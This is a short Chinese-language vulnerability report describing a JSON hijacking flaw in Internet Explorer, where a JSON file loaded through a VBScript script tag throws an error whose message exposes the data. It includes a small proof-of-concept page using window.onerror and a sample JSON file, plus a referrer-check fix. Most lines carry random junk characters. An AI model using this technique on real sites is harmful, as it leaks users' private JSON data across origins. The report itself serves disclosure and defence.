简要描述:7 m* j \& Q9 p3 [9 z# i7 D
; A. O: o5 J7 h+ f
由于某些资源容器对数据处理不当导致json劫持漏洞.1 C8 X3 ]+ G. z$ B3 \
详细说明:
) I7 U. q: X6 a7 e/ l/ Z5 r由于ie支持vbscript,所以script元素可以指定成vbscript语言:
, @0 p( H6 k& l; y1 i0 z& [<script language=vbscript></script>
6 ?0 f) T: K6 E2 L$ |0 L 0 \" C0 b1 F; K: R* i, E
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.4 O! H; g* T$ Q( i x) X; r- J2 T
漏洞证明:
) _* ]1 i4 e4 [0 E( ?1 q<script>
' j3 T* J' `9 v2 f2 I0 D+ kwindow.onerror=function(_){
6 B. A2 d3 y5 U6 P, S& x2 P* xalert(_); w5 B# i2 |1 ]% X, \+ k
}
% w$ K4 \) @6 G3 l F6 Z</script>
0 U6 c7 N0 [% G* A, X6 N<script language=vbscript src=1.json></script>" `: i2 `7 T" ^: ?5 T
- f( ^( H3 ^ [1 N
: N6 f& x6 x" \5 R# a% n8 I6 T c1.json:+ L ], h9 M+ k' e# z# F' h: ?2 w
[{"name":"sogili","age":19}]) \" h J9 n v, P$ m* a$ l
修复方案:
( n: N( H' ^& p" D% `) L1 g网站业务对于这个问题可以通过验证referrer是否为同源来防御 |